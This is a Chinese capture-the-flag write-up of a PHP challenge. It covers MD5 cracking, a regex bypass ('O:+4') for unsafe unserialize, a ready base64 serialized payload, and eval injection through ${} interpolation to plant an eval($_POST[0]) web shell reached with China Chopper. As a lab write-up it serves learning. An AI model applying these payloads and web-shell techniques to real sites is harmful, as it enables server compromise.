進入題后老套路得到兩個關鍵:
1.$hash=md5($sign.$key);the length of $sign is 8
2.key=123&hash=f9109d5f83921a551cf859f853afe7bb
然后md5解密那個hash=kkkkkk01123
根據源碼說的$sign位數為8位,后改一下key 然后md5后得到提示Gu3ss_m3_h2h2.php這個文件
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
拿到源碼了,審計代碼
首先得到一個參數var 然后進行正則匹配
說下這個正則 /[oc]:\d+:/i [oc] 兩個字母構成的原子表加:再加只是一個數字,再加: 然后不區分大小寫
這個O 是序列化里面的類 C是自定義序列化方式
如果這個正則的繞過是O:+4 這樣就可以繞過
然后寫payload:
TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 出來拿去用
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>
繼續審計,看到這個熟悉的php復制變量${phpinfo()} 像這樣的他會先執行里面 的方法
直接構造payload:eval($_POST[0]) 這里一句話的密碼 不能用引號 應該是那個addsalashes的原因
然后就菜刀連上去就看到flag了